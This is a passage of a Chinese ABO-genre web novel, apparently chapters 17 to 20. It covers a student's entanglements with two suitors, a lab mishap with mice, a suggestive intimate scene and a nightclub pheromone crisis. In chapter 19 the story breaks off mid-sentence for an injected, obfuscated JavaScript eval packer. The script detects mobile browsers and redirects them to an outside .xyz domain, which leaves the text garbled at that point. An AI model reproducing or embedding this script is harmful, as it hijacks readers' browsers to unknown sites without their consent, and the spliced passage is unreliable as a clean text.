“我的妈呀!赵琰和他未婚妻分了?!!!” “我靠,陆寻不会上位成功了吧?” 听到熟悉的名字一晃而过,闻鸢头皮一紧,下意识地确认道:“什么?” 闻鸢一脸懵的样子让唐钰痛心疾首,“师姐你真是两耳不闻窗外事,这种乐子怎么能错过?” “简单来说就是陆寻喜欢赵琰的未婚妻,还暗戳戳地撬人墙角。现在两人分手,具体原因未知,不过陆寻有机可乘了。” 不,等一下,昨天在游泳池旁边听到的好像是另一个版本。 按照泽诺的说法,赵琰的未婚妻——那个叫什么乔……之瑜——根本没把陆寻放在眼里。 即使二人之间有什么嫌隙,也不会闹到分手的地步。 所以他们之间究竟发生了什么?她又该相信谁的说辞? 闻鸢揉了揉抽痛的额角,在混乱的思绪间忽然想起一件至关重要的事。 “你知道陆寻家族的具体信息吗?” 唐钰人缘好,她能知道学校里这么多八卦,离不开分布在学校各处的眼线。 说不定能从她嘴里问到什么消息。 唐钰勾起一个了然的笑容,眼里的八卦之魂熊熊燃烧,“这你可问对人了!” 她以手掩唇,悄声道:“陆寻他爸其实不是陆家真正的掌权人,他家顶多算陆家旁支。” 闻鸢眼皮半垂,觉得她的话有一定可信度,她偏头,自然而然地问出了那个她最想知道的问题。 “那陆家真正的掌权人是?” 唐钰为难地顿了顿,似乎有什么难言之隐,“陆家主脉的人,都当官儿。” “具体官职我不太清楚,但听说那位家主,在军部工作。” 明白了,高干家庭,怪不得艾薇那么忌惮。 现在她更好奇了,艾薇到底做了什么不可原谅的祸事,惹得两家交恶。 闻鸢低下头思忖,口袋里的手机却突然震了震。 打开绿泡泡,只见方鸣玉拨来一个视频通讯。 闻鸢一悚,手指在接通和挂断键之间逡巡了一会儿。 “失陪一下。”顶着唐钰好奇的目光,她闪身跑到楼梯间,在响铃自动挂断前一秒接通了视讯。 方鸣玉那张侵略性极强的俊脸出现在屏幕之上。 “怎么这么慢?” 熟悉的外耗型人格。 闻鸢没抱怨他在吃饭时间打视讯,他倒先抱怨闻鸢接电话慢了。 可恶,她什么时候才能不那么憋屈,什么时候才有随意挂断电话的权力? “刚刚在吃饭。”嗓子像塞了一堆涂满辣椒水的刀片,每蹦出一个字都火辣辣的疼。 方鸣玉皱眉,“生病了?” 闻鸢坐在楼梯台阶上,下巴搁在双膝之间,懒懒地点了点头。 “看医生了吗?” 闻鸢摇头,“不需要,吃药就行。” 他眉头一压,眼神骤然锐利,眉骨与鼻梁的线条更加冷峻凛冽。 视线在她虚弱的脸庞上绕了一圈,他启唇道: “下午见一面,五点左右,我在华大校门口等你。” 方鸣玉说完突然前倾,屏幕里那张棱角分明的脸瞬间放大,像被推进特写镜头的电影主角。 食指往镜头方向一戳,视频框戛然掐断,瞬间变暗的屏幕映出闻鸢呆愣的神情。 哈? 他到底想干什么?!!! 闻鸢憋着一肚子火,眉头皱得像被揉烂的报纸团,连头发丝都耷拉出灰扑扑的颓丧。 饭后,她跟唐钰回到工位午休,却发现桌子上多了一个纸袋,打开一看,里面是治疗咽炎的药品。 每盒药的外壳上都写了具体注意事项,精准到药量、服药时间。 字迹清隽熟悉,即使没有落款,闻鸢也知道这是沈照的手笔。 纸袋最底下塞了一盒糖果,果橙口味的,包装上的卡通图案异常瞩目。 “怕苦就吃些糖果。” 沈照这样写道。 闻鸢失笑。 这是把她当小孩子哄吗? 她拆开包装,拣两粒糖果丢到嘴里,果橙的清爽瞬间盈满整个口腔。 清甜的糖衣包裹着微酸的橙肉,像夏天喝下的第一口冰镇橙汁汽水。 玻璃窗上跳着光斑,水间的咖啡机咕嘟作响。 舌尖的酸涩未散,闻鸢盯着糖果出神,手指无意识地摩挲着便利贴边角。 枝叶在窗户上投下阴影,原本茂盛的枝丫在此时却显得有些萧索。 闻鸢后知后觉地意识到,其实夏天早就悄悄溜走了。 她敛着眉,淡漠的眼眸蒙上一层隐约的惋惜。 便利贴被她整齐地折好,颇为珍重地放在抽屉最内层。 穿好实验服,闻鸢把唐钰揪起来,打包放到实验室。 几只白色omega小鼠见有人来,扒在玻璃框前,鼻子急促翁动,等待投食。 闻鸢环绕一圈,在一群病恹恹的实验鼠前停下来。 笔尖轻敲玻璃框,闻鸢乜着唐钰,眼神像在质问。 唐钰挠了挠脑袋,汗流浃背道:“可能是剂量搞错了?” “营养剂吃多了也会死?你以为实验鼠和你的神经元一样脆弱吗?” 见她那么不上心,闻鸢忍不住毒舌起来。 唐钰像只鹌鹑一样缩着脑袋,唯唯诺诺道;“我下周前会调查清楚。” 闻鸢一把抓过数据记录浏览了一遍,额角突突地跳,觉得下一秒就要被拉到医院抢救。 她把那团糟心的数据拍在唐钰胸前,语气里带着点威慑和警告。 “你最好早点查清楚,用了什么药,分量是多少,其余对照组有没有发生同样的错误。” “这一周我可以帮你做其他实验,但如果教授来巡查,我也救不了你。” 唐钰小鸡啄米似的点头,眼含热泪,“呜呜呜谢谢师姐!” 帮唐钰收拾完烂摊子已经快到6点,闻鸢打开手机,却发现消息栏有N个未接来电—— 5条来自泽诺,2条来自方鸣玉。 她倒吸一口凉气,猛地冲向楼梯。 现在正是饭点,华大校门口聚了一大堆学生,张口闭口都在讨论晚饭去哪里吃,晚上去哪里玩。 她站在门口环视了一会儿,并没有看到方鸣玉的跑车。 也是,太子爷的时间宝贵得很,怎么可能等她? 她抬手打开聊天框,轻车熟路地打了个道歉模板进去,刚编辑到一半,肩膀被人轻轻一拍。 “你是乌龟吗?慢吞吞的,等你好久了。” 闻鸢愣在原地,抬头便看到方鸣玉摘下墨镜。 浅灰色的瞳孔在暮色中染上一层暖意,宽肩窄腰的比例精准得堪比从美术馆里偷跑出来的人体雕像,极具观赏性。 他很轻地扬了下嘴角,左手拎起闻鸢鼓囊囊的背包,像拎片羽毛似的,右掌虚拢在她后腰往前带。 “麻烦让让!” 闻鸢机械地往前走,背后突然炸开一阵哄笑,打扮精致的omega往她那边瞟去,促狭地调侃着同伴。 “可惜了,那么帅的alpha,居然喜欢beta!” 像只鸡崽子一样被拎到越野副驾的闻鸢: beta没惹你们任何人。 【作话】 鸢宝:为我花生,为我花生! “闻鸢后知后觉地意识到,其实夏天早就悄悄溜走了。 ” (谁来懂一下这句话的隐喻啊啊啊啊啊,鸢宝发现了小沈的好,但发现得有点晚,错过了。) 沈照你这么搞纯爱容易没老婆。 作者有话说 显示所有文的作话 第17章 第 17 章 第18章 第 18 章 方鸣玉长腿一迈,利落地跨入车内,墨镜随意地夹在领口,薄薄的镜面反射着夕阳,晃了闻鸢一脸。 越野车轰然发动,闻鸢在嗡鸣声中瞪大眼睛,扯着嗓子问道: “去哪儿?” 听到她破锣般的嗓子,方鸣玉下意识地皱了皱眉,嘴上也没饶过她。 “放心,不会把你卖到醉金窟唱曲儿的。” 醉金窟是首都最烧钱的娱乐场所,里面有赌场、歌厅、酒吧,装潢纸醉金迷,专供富豪消遣。 闻鸢噎了一下,当着他的面翻了个白眼。 “随便你。” 真是和他八字不合。 车内安静下来,他转头看了闻鸢一眼,只见她气鼓鼓地扭过头。 夕阳淌过她苍白的侧脸,死气沉沉的脸颊被恼怒蒸出红润,像是冻土里突然炸开一簇带刺的野蔷薇。 方鸣玉抿出一个笑意,声调懒洋洋的。 “昨天救了你,今天在校门口足足等了你一小时,你就这样报答我?” 闻鸢一顿,觉得都到这个份儿上了,也不必在他面前装做善解人意的淑女。 她就是一个普通且怨气极重的社畜。 加班加点搞完学业之后还得提心吊胆地伺候祖宗。 她揉了揉额角,语气讽刺尖锐,“如果你能注意言行,泽诺也不会到泳池旁散心,后面的事情也不会发生了。” 正常人不难听出潜台词,归根究底都是方鸣玉不当言行惹毛了泽诺,才导致她被牵连。 但方鸣玉显然不太正常。 他耸耸肩,一脸无辜,“我说的都是真话,我有什么错?” 绿灯转红,越野车在斑马线前堪堪停住。 来往的人□□叠而过,佝偻的老人,行色匆匆的上班族,牵着家长的小孩儿。 闻鸢盯着小孩儿书包上的挂件出神,转头却看到方鸣玉骤然放大的俊脸。 他靠过来,灰调的瞳孔里盈满了认真,一字一顿地问道:“喜欢你,也有错?” 他侵略性的目光似要把她吞吃入腹,闻鸢下意识地后撤。 “我们才见了几面?你的喜欢未免太随便。” “随便?” 他轻咬着这几个字,语气危险惑人。 指尖轻点方向盘,方鸣玉冷哼一声,“我可不是什么随便的人。” 闻鸢快不认识随便这个词了。 汽车重新发动,表盘上红蓝色荧光交互闪烁,alpha冷冽的声线裹着炽热的温度。 “我的真心,会向你证明。” “喜欢是非理性情绪,我无法克制,更无法掩藏。” “所以在宴会上,看到你和那个omega举止亲近,我有些嫉妒。” 他坦诚地向闻鸢袒露内心的阴暗面、那些酸涩又难以启齿的感情,就像狼犬吐着舌头,将肚皮翻给素不相识的陌生人。 “现在的我就像被荷尔蒙控制的低端生物。不过,我想那大概就是‘喜欢’的感觉。” 他耸耸肩,语调慵懒随意,透着一股子漫不经心,“妒忌就是喜欢的副作用之一。” 他的剖白像块滚烫的岩浆,粘稠的液体混杂着碎屑流,滴落在闻鸢心头,烫得她手足无措。 始作俑者怡然自若,没有半分羞赧和难堪,神经大条得令人叹为观止。 他一边开车,一边分心观察闻鸢的神色,状似不经意地问出了那个超在意的问题。 “你和那个泽诺,不是情侣吧?” 闻鸢沉默了一会儿,给出了一个模棱两可的回复,“算不上,但我和他的情况,比较特殊。” 怎么特殊,她没说,方鸣玉也没有斤斤计较地再问。 因为他已经得到了自己想要的答案。 薄唇微扬,棱角分明的面颊柔和了一些,“呵,被我猜中了。” “不过即使你们已经确定关系了,我也不介意当插足者。” 他面无表情地说些三观尽毁的话,神态镇定自若,仿佛他才是那个原配正宫。 闻鸢有种蒙耳跳车的冲动,“你知道你在说什么吗?” 方鸣玉奇怪地瞥了她一眼,疑惑道:“需要我再翻译一遍吗?如果你们的关系脆弱到能被我插……” “好了,打住,这样大家都相安无事。” 耳朵好像被奇怪的话污染了。 闻鸢抓紧安全带,将刚刚的对话格式化,装作无事发生。 在诡异的安静中,车子开进一家私人医院,门口站着的保安小跑几步,恭敬地打开主驾车门。 “小方总辛苦,林医生已经在就诊室候着了。” 方鸣玉把车钥匙扔给保安泊车,回头向闻鸢招了招手,“走吧,给你看病去。” 之前说得不清不楚,搞半天原来是帮她治嗓子来了。 闻鸢满脸黑线,“为什么不早讲?” 害她提心吊胆了一路,生怕方鸣玉把她发卖了。 方大少爷扬了扬手中表格,理直气壮道:“谁知道你又找什么借口推辞,先把你骗出来再说。” 闻鸢:…… 她当然不会跟他出去,普通咽炎三天就好了,何必浪费医疗资源。 算了,来都来了,就当薅羊毛了,反正不是她出钱。 接待他们的是一个中年beta,完全符合刻板印象,无框眼镜,头发稀疏,眼角堆着笑纹。 标标准准的老实勤恳beta长相,一看就是上有老下有小,平时需要努力工作养家糊口的样子。 医生拿着手电筒照了下,眉头皱成川字,“还挺严重的,先做个雾化看看效果。” 他抬手在病历单上写下几个鬼画符,唠唠叨叨地,“小姑娘,抵抗力不行啊。” 怪谁呢?只能怪泽诺他们家房子太大,从游泳池走到闻鸢房间,七绕八拐,也足足走了十多分钟。 吹了那么久冷风,身上都湿透,闻鸢不病才怪。 手机震了两下,泽诺看她好久不回消息,又开始夺命连环call。 闻鸢心虚,对方鸣玉卖乖道:“雾化不能空腹做,不如我明天再来?” 她起身,却被方鸣玉按回原地,“不着急,我先带你去吃饭。” 手机被他反扣在桌面上,拇指一摁,那通电话被无情挂断。 闻鸢露出比哭还难看的笑容,忽然发现自己陷入了进退两男的境地。 吃了顿如坐针毡的饭,做完雾化之后,方鸣玉才驱车把她送回长岛。 车刚停下,闻鸢便忙不迭地解开安全带,仿佛多待一秒都要爆炸。 安全带被暴力地扯了两下,“咔哒”一声,成功卡住。 “呵,”闻鸢双手扶额,低低狞笑出声。 有没有人来管一下,运气差成这样真的正常吗? “这么着急?” 方鸣玉好整以暇,手肘撑在方向盘上,姿态落拓随性。 闻鸢尴尬一笑,顺着他的话说道:“家里有门禁。” 他捏了捏眉心,嗤笑一声,到底没有戳破这个谎言,转头从抽屉里拿出一张邀请函。 红色的信函印着耀星泳联的盟徽,几道白色的波浪簇拥着五色茉莉,代表五个不同赛区。 “下个月有联赛,欢迎你来观赛。” 资料显示,去年十月,方鸣玉因为表现突出,被破格提拔为泳联正式成员。 如果他能在联赛中攒够积分,就能代表联邦参加每三年一次的世奥会。 那是无数运动员梦寐以求的机会。 闻鸢下意识婉拒,“下个月教授要来实验室巡查……” “安全带是不是有点紧?” 方鸣玉凑过来,伸出两根手指拉了拉安全带,温柔的语气中不难听出威胁。 闻鸢屏息,拒绝的话语在嘴边转了个圈又咽回去,“不过这么精彩的比赛,我一定不会错过。” “嗯。很高兴听到你这么说。” 手指顺着碳纤维细带滑到基座,指甲轻轻一勾,细带因拉力回弹,收缩到侧上方的位置。 他不是客套,是真的高兴,好心情几乎融化成碎金,从微弯的眉眼中渗出。 凌厉的眼睛带笑,面部线条骤然柔和,他望着闻鸢,珍重地向她道了声“晚安”。 闻鸢也想笑。 特别是看到泽诺99 消息的时候,她的笑从狞笑变成苦笑,最后归为安详,像是死囚犯在行刑前终于吃到一顿色香味俱全的送终餐。 既然无法狡辩,不如美美开摆! 她省去了浏览消息、知己知彼的步骤,直接拿起信息素清洁剂一顿猛喷。 风衣被随意丢在地上,闻鸢解开衬衫的两颗扣子,扯开衣领,露出锁骨。 马尾散落的瞬间,泽诺破门而入。 “闻、鸢。” “你今天必须给我一个交代!” 泽诺穿着睡袍,面色浮着一层粉红,发丝拧绞成簇,发尾还在滴水。 看起来像洗澡洗了一半突然跑到她房间质问。 不过这也确实符合他的风格。 “为什么不接我电话?你知不知道……唔……” 愠怒的话语被骤然打断,闻鸢大步流星地跨过地上散落的衣物,捧住他的脸,吻下去。 他像一只炸毛的狗狗,守着大门不让闻鸢深入,所以她只好在边缘逡巡,细细描绘他的唇形。 他晃了神,视线内只剩下闻鸢浅棕色的双眸,那双眼睛微微睁大而后眯起,透着异常粘稠的质感。 他凭着十二分的毅力后仰,像个溺水的人在做最后的挣扎。 不过那都是徒劳。 闻鸢抓住那个空隙,向前一倾,直接吻住他的喉...【审核大大这里什么都没写!!!】 泽诺倒吸一口冷气,脑袋炸开烟花。 腰肢和双腿都在打颤,他后撤几步,被闻鸢压在墙上,呼吸乱了频率。 交缠间,泽诺偏开头,抵住闻鸢锁骨,“别以为用这种把戏就能得到原谅。” “我不吃这套。” 闻鸢靠近,用鼻尖讨好似的蹭着他的脸颊,解释道:“我头晕,下课后就在实验室睡了一觉,没回消息。” 手托着泽诺臀部,将他往上提了一点。 “不气了好不好?” 湿热的、猫一样的舌尖轻|舔脖颈,温热的鸢尾花香洒落颈间。 “今天是不是很无聊?晚上我陪你玩怎么样?” 泽诺扬起头颅,双手揽住闻鸢脖颈。足尖点地,他绷直脚背,冷白的皮肤泛起一阵潮|红。 真丝睡袍滑落腰间,莹润白皙的肩膀暴露在空气中,迅速被鸢尾花香浸润成粉红。 久违的信息素,就像婴儿浸泡在羊水中舒适温暖。 闻鸢抬起眼,那双浅棕色的眼睛盛满了泽诺的倒影,仿佛这辈子她心里只装得下他一个人。 怒意被轻易化解,他泄了力道,双腿夹住闻鸢的腰。 布满艳色的红唇轻轻张开,仿佛开场时缓缓舒展的红幕布。 “qu chuang shang zuo。” [化了] 作者有话说 显示所有文的作话 第18章 第 18 章 19. 第 19 章 玫瑰花香翻腾,泽诺被蒸得像只煮熟的虾子,汗水顺着脖颈滚落到织物上,洇出深浅不一的水痕。 omega的皮肤细腻丝滑,如同上好的绸缎,闻鸢轻轻摩挲,白皙的皮肤便泛起红润。 泽诺的身材管理十分严苛,下午6点之后就不再进食。 “信息素,闻不到了。” 他轻轻抬起,双唇无意识地张开,呢喃着。 闻鸢用手指轻轻揉捏,低头吻了吻他颈侧的肌肤,声音含糊,“不气了?” 懒懒的腔调里不乏调侃戏谑,微哑的嗓音像一颗细小的砂石,轻磨着泽诺本就痒||麻的后背。 鸢尾花信息素裹着潮湿的月光,缕缕冷香在肌肤上流溢,像层薄纱一样笼住轻轻发抖的omega。 泽诺惩罚似的咬住闻鸢肩膀,尖牙刺进柔软的肌理,迅速涨红的皮肤底下浮现出一排小小的牙印。 像是他的专属盖章一样。 尾音打着旋儿升高,全身像过电一般颤抖。 他失神地望着天花板上的叶形吊灯,感受着后颈处的潮润。 闻鸢立起来,随手揩去他眼角的泪水,平静又冷淡的目光扫视泽诺全身。 精致又脆弱的身体像是一尊上好的窄口花瓶,需要专人养护擦拭。 圆而钝的细瓶口渗出水渍,指尖磨着瓶口的冷釉轻轻擦过,扯出粘稠的银丝。 瓷白的釉面晕着不正常的红,像是被夕阳撕裂的橘红色的晚霞。 闻鸢听见泽诺兴奋的心跳声,他的喘|息带着滚烫的热度,透着烈日烘烤后特有的甜腥味。 闻鸢低下头,贴在他耳边赞扬道:“泽诺今晚好乖。” 皮肤漫起一阵兴奋的刺痛,心跳与他同频共振。 她深深呼出一口气,敛下眼底的狂热。 对于闻鸢来说,真正打动她的,恰恰是泽诺身上矛盾的脆弱感。 他蛮横无理、骄纵无状,对所有事物都显示出隐隐的攻击性,但在这一刻,他会露出无措的、惹人怜爱的表情。 他会颤抖着抱住闻鸢求饶,像一株蔓生植物一样牢牢地缠绕住给予他养分的大树。 他需要闻鸢,正如闻鸢需要他时不时展露出的依赖。 这会让她觉得,原来她也是被需要的。 手臂绕过腿弯,细长的大腿折成一个柔软的弧度。 她盯着泽诺发红的眼尾,快乐如同皮肤下沸腾的血液,让肌肉止不住地痉挛。 在滚烫而湿润的洞穴里,闻鸢出神地回想起那天唐钰问她的问题。 “你的性取向是什么?” 或许唐钰是对的,她更适合omega? 不对,准确地来说,第二性别对她而言并不重要。 她突然发现,真正吸引她的,是男性身上展露的脆弱感。 脆弱就意味着会被伤害,会变得敏||感。 就像此刻的泽诺。 他脱力地瘫软在床上,大口大口呼吸空气。 闻鸢笑着,有一搭没一搭地和他聊天,语气轻快温馨。 去浴室洗澡的时候,他挂在闻鸢身上,像只玩累了让主人抱回去的狗。 闻鸢和他说话,他毫不在意地应和几句,享受着闻鸢的事后服务。 修复精油从背后推开,顺着柔润的肌理深入皮肤,凝固的疼痛在体温里融化成蜂蜜。 他在舒适与温暖中熟睡,而闻鸢在昏黄的灯光下盯着他看了许久。 她的脸一半遁入阴影,一半被灯光点亮。 她忽然想到了年少的泽诺,彼时,金发少年还未褪去婴儿肥,单纯天真得连恶意也毫不掩饰,不像现在弯弯绕绕,叫人猜不透。 现在闻鸢把他训成了一条半熟的恶犬,但他依旧多疑敏感,不定期反咬。 “小鸢?” 他嘤咛一声,手指缠上她手臂,一把将她拉进被子,熟稔地往她怀里拱了拱。 很是依赖的样子。 喉咙还在痛,仿佛月光被砸成碎片,扎到嗓子眼儿里。 抱着柔软香甜的omega,闻鸢脑子里忽然想起实验室里的小白鼠。 唐钰做出来的狗屎数据在她眼前闪过,教授强调过无数遍的细节到底还是喂给了实验室里的蚊子。 “哈哈……” 黑灯瞎火中,她像个梦游症患者一样冷笑一声,突然觉得自己的精神状态岌岌可危。 当泽诺情人她没破防,被方鸣玉莫名其妙告白也没破防,但一想到要帮唐钰女娲补天,她就恨不得重启人生。 正是应了那句俗话,人生就是一滩狗屎,而人人都是苍蝇。 她就像名校毕业的职场精英一样,对着不成器的孩子愁得连饭也吃不下。 这个大师姐也是当得相当作孽。 对师弟师妹的深切忧虑导致她一晚上都没睡好觉。 半梦半醒间她梦见自己变成渔女,身披蓑衣,手拿破网。 底下有几只小鱼像是要淹死的样子,浮在水面上,用无机质的眼睛盯着她,嘴唇翁动。 “师姐,菜菜,捞捞。” 恐怖谷效应犯了。 闻鸢抄起网一捞,却发现根本捞不动一点。 那些鱼像瞎了眼,横冲直撞,明明网就在他们身边,他们却像安了雷达似的,一点不上套。 她是触发了什么钓鱼佬buff吗? 她着急忙慌地把网靠在他们身边,大声喊道:“钻进去钻进去!” 那些鱼疑惑地抬头望她,可怜巴巴地问道:“怎么钻?师姐,我不会呜呜呜!” 闻鸢登时被气得眼冒金星,一个没站稳,直接摔到海里。 大浪打来,一只长得像莉娜教授的鲨鱼游过来,对着她张开血盆大口。 “数据有误,延毕吧。” 延、毕、吧。 这比晴天霹雳还要五雷轰顶。 她比窦娥还冤,真情实感地嚎起来,“有人对我的数据动了手脚,我是清白的!” 莉娜教授根本没看她,眼神颇为惋惜,“闻鸢,学术圈不相信眼泪。” 鲨鱼牙鳞次栉比,如倒|插的匕首,一口将闻鸢和众多小鱼吞下。 喉咙像塞了一团带刺的海草,尖锐的痛感顺着水流涌入肺部。 闻鸢抖了一下,从椅子上坐起来,眼中惊魂不定。 面前的小白鼠扒拉着玻璃,黑豆一般的眼睛与她四目相对。 “……” 好阴魂不散的梦,这个月第三次了。 她轻轻呼出一口气,将小鼠逮出来检查。 这些omega小鼠的腺体有不同程度的损伤,唐钰给他们注入了不同的药水,目的就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904778|176809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了检验药品的临床效果。 但这一组小鼠病恹恹的,和预期结果有出入,闻鸢怀疑唐钰弄错了药水样品。 她熟稔地躲过小鼠狡猾而尖利的牙齿,手指顺着它的脊骨摸向腺体。 腺体恢复得很好,但小鼠的活力也降低了。 “啊!”唐钰叫起来,“我被咬了!” 闻鸢连眼神都不曾挪动,“碘酒在柜子第二层。” 唐钰的声音透着点心惊胆战,“会不会得病啊?” “……” 闻鸢看她,语气有种懒得计较的无奈,“放心,无菌箱里的小鼠肯定比你干净。” 全恒温无菌培育,定点定量喂养,荤素搭配膳食纤维,另有营养液加餐,每天工作8小时。 说实话,她都有点羡慕这些鼠鼠了。 有些人活得连老鼠都不如,比如在实验室连轴转一星期后黑眼圈大得能cos僵尸的她。 嘻嘻,活人微死。 “师姐,你手机响了。”唐钰一边用碘酒消毒,一边提醒道。 闻鸢能猜到是谁,毕竟只有泽诺会在闲极无聊时打电话查岗。 她把小鼠扔回玻璃缸,随手在数据旁边添上一个星号,表示这组数据需要特殊关注。 手指按下接听键,振动几声后,听筒中首先传来一阵破风声。 猝然炸开的爆裂声混杂着尖锐的嘶吼,“乔之瑜去哪儿了?让她出来给我一个解释。” 背景音是酒吧里特有的蓝调曲,但酒瓶砸在地上叮叮当当的响声却破坏了优雅装逼的氛围。 在闻鸢蒙圈之际,泽诺终于想起自己拨通了电话,话语连珠炮似的袭来。 “小鸢,我在醉金窟,赵琰情绪有些不稳定,我劝不动他。” 闻鸢的苦笑凝固在嘴边。 情绪不稳定? 少爷,您真会说话。如果没猜错的话,那个omega已经失智了吧。 不过好在没有引发信息素失调,否则情况更…… “等等,他好像没办法控制信息素了!” 哈哈!乌鸦嘴! “而且,”他顿了一下,声音难得有些后怕和滞涩,“我的腺体,好像有点发烫。” 那很完蛋了。 信息素失调引发了锁链效应,再不控制的话泽诺会被赵琰的信息素刺激得提前进入易感期。 思及此处,闻鸢终于慌了起来,“快给他注射抑制剂!” “我……我没带。” “那就出去买!” “可是……可是这里全是alpha,我怕我走了之后……赵琰!你干什么?!” “嘣”地一声,泽诺的手机似乎被赵琰扫到了地上。 在通话挂断前的最后一秒,她听到赵琰绝望的、像小兽一样的呜咽。 “乔之瑜!你怎么可以这样骗我?!” “我恨你,我恨你!!!” 等等,大兄弟,先别恨了,谁来理一下快要碎掉的打工鼠鼠。 已知两个omega在某会所,一个无法控制信息素,一个提前进入易感期。 若alpha数量以3平方米/人计算,求闻鸢的心理阴影面积。 闻鸢盯着缓缓熄灭的屏幕,花了一秒钟平复了下心情。 好想死,但总觉得该死的另有其人。 20. 第 20 章 醉金窟,名副其实,是个纸醉金迷、花钱如流水的消遣地儿。 富商在赌场豪掷千万,一颗象牙代币就是普通打工族一辈子不吃不喝所挣得的收入。 强壮的保镖尽职尽责地拱卫在旋转门前,护目镜下一双眼睛锐利如鹰,能够准确地辨别出醉金窟真正的客人。 低调的着装,分叉干枯的头发,浓重得吓人的黑眼圈。 闻鸢像刚干完活的打工人,拖着疲惫的身躯回到贫民窟,却因为太累误入另一个世界。 保镖把她拦下来了,几乎不带一点迟疑。 闻鸢抬头,从9块9的卡皮巴拉钱包中掏出一张黑金卡,属于醉金窟最高级别客户。 黑皮保镖不可置信地瞪大眼睛,专门找经理核验了一遍真假才颤颤巍巍地把闻鸢送进去。 她有泽诺手机的定位权限,最后一次位置变动是在醉金窟的酒吧。 回形走廊里镶满了雕花镀金门,图案颜色一模一样,只有门牌号可以稍作区分。 走廊尽头走来一个漂亮的beta应侍生,他按着蓝牙耳机,语气急促紧张。 “有个omega信息素失控了,快叫人到2201!” 闻鸢一顿,脚下飞速奔跑起来,拐过走廊尽头,便看到一堆人围在门前,气氛有些诡异的躁动。 馥郁的玉兰花香漫布在走廊间,尾调透着糜艳秾稠的气息。 情况比她想象得更糟糕。 她推开围观的alpha,大声呼唤道:“泽诺!” 紧绷的脊背瞬间放松,位于人群中心的泽诺回头,求救的目光望向她,担忧的眼神瞬间被喜悦所取代。 alpha有意无意地放出了一些信息素,这无疑让情况雪上加霜。 她拆掉抑制剂,先后在赵琰和泽诺后颈处注入。 “赵琰的情况太糟糕了,必须马上去医院做阻断。” 她警惕地环绕四周,alpha虎视眈眈的双眼紧盯着晕过去的omega。 闻鸢望着站在门口的alpha,语气生冷,“麻烦让一让,人命关天。” 身材颀长的alpha觑了她一眼,眼里没有丝毫怜悯和心软,像块冷硬的石头。 “那个omega伤了我们的人,你们必须给个解释。” 闻鸢顺着他的视线望过去,果然看到沙发上睡着一个年轻人,头上裹着纱布,看不清样貌。 她用眼神询问泽诺事情原委,少爷却不满地撇了撇嘴道: “不就是被酒瓶打了一下吗?有必要这么上纲上线?” 这句话的恶劣程度已经是闻鸢这个局外人都觉得过分的地步。 少爷满不在乎的口气像是在抱怨人型沙包质量太次,仿佛alpha受伤完全是因为他自己不抗揍,而不是因为赵琰发大疯。 鄙夷嫌弃的口吻实在过于刺耳,而泽诺糟糕的处事能力让原本紧张的局面雪上加霜。 “你们不就是想要钱吗?医药费十倍赔偿,可以了吧?” 闻鸢看到为首那人缓缓捏紧拳头,手臂上筋肉暴起,他咬紧牙关,似乎在克制怒气。 “欺人太甚。” “别仗着你是omega我们就不敢动你。” “你动一下试试,不怕牢底坐穿的话……”泽诺一身反骨,有种大脑缺失的大胆和刚勇。 闻鸢满脸冷汗,无助地把他拉回来,同时在心里默默地为自己以及那位躺着的大兄弟点了个蜡。 什么叫无妄之灾,这就叫无妄之灾。 “很抱歉,是我们的错。”闻鸢对为首那位alpha鞠了一躬,道歉态度十分诚恳。 原本还可以跟他们平等对谈,现在好了,只能乖乖装孙子了。 不过也算专业对口,她这个工种最擅长装孙子。 今天就让他们看看,她的“孙子兵法”究竟多么实用。 “那位omega因为感情原因,精神状态不正常,等他身体恢复后我们会建议他的家人送他去专门机构治疗。” “我想他大概是认错人了,所以才失手打伤了那位alpha,我们真的深表歉……” “不是失手,是故意。”为首的alpha双手环胸,直白地戳破她的外交辞令。 “上去阻止他的人都被打了。” 敢情是这群alpha多管闲事然后被赵琰报复了。 那很惨了。 点蜡again。 闻鸢哽了一下,灵机一动,换了种策略。 “唉,我们跟这位omega也就是普通同学,如果早知道他有暴力倾向我们也不会带他来这里。” 先把泽诺摘出来再说。 对面冷哼了一声,一眼看穿闻鸢的狡辩。 “普通同学?你身后那个omega刚刚还嚷嚷着这是他的好闺蜜,让我们不要有非分之想。” 铁子,能不能不要拆台? 你觉得拆台很有意思吗? 那我问你,眼前的事情要不要解决,omega快死了要不要送医院,你兄弟流那么多血要不要检查?嗯?说话! 闻鸢在心里小怒了一下,脸上绽出更温柔的笑意。 “omega信息素失调有生命危险,我看那位alpha也需要包扎伤口,要不你先让他们去医院,我留下交涉?” 她被怼了无数次却仍旧保持良好的风度,连嘴角的笑意都显得有些人机。 alpha沉吟片刻,像是刚想起这事儿似的,扭头嘱咐手下人把伤者送到医院。 早这样不就完了! 门口的镖型壮汉终于让出一点空隙,闻鸢推了泽诺一把,示意他先带赵琰出去。 “你怎么办?” 那个天真又愚蠢的omega投来担忧一瞥,好像闻鸢混成这样没他一份功劳似的。 “放心,我能应付,你先带他去医院。” 是的,没有少爷这个猪队友,她连呼吸都顺畅很多。 人熙熙攘攘地走了一波,房间空了一大截。 男人坐了下来。玫红色的天鹅绒沙发包裹性极强,他双手撑在靠背上,头疲惫地往后仰了仰。 “先生想要怎么和解?” “我叫乔之琮。”他轻掀眼皮,凤眼盯着闻鸢,很是玩味。 ……0人关心你的名字。死装哥。 不过,这个名字格式……她很难不联想到赵琰的前未婚妻。 正当她猜测时,死装哥接通了一个电话。 “有何贵干?” 清冷的女声从听筒中传来,虽然听不真切,但压抑和质询的语气却是真真实实能够感受到的。 “………他信息素失控,小周被他开瓢了,不过俩人都没死。” “放心吧,过几天他又活蹦乱跳找你去了,你还是先顾眼跟前儿吧。” “挂了,这边还有人等我玩呢,替我跟阿晏问好啊。” 一幅乖顺小狗的模样。 闻鸢在心里冷哼一声,抬头却看到他把手机丢到冰桶里,咕噜咕噜两声后,手机成功黑屏。 谁家叛逆弟弟跑出来了? “我们说到哪里了?”他往后一靠,漫不经心地打量了闻鸢一眼。 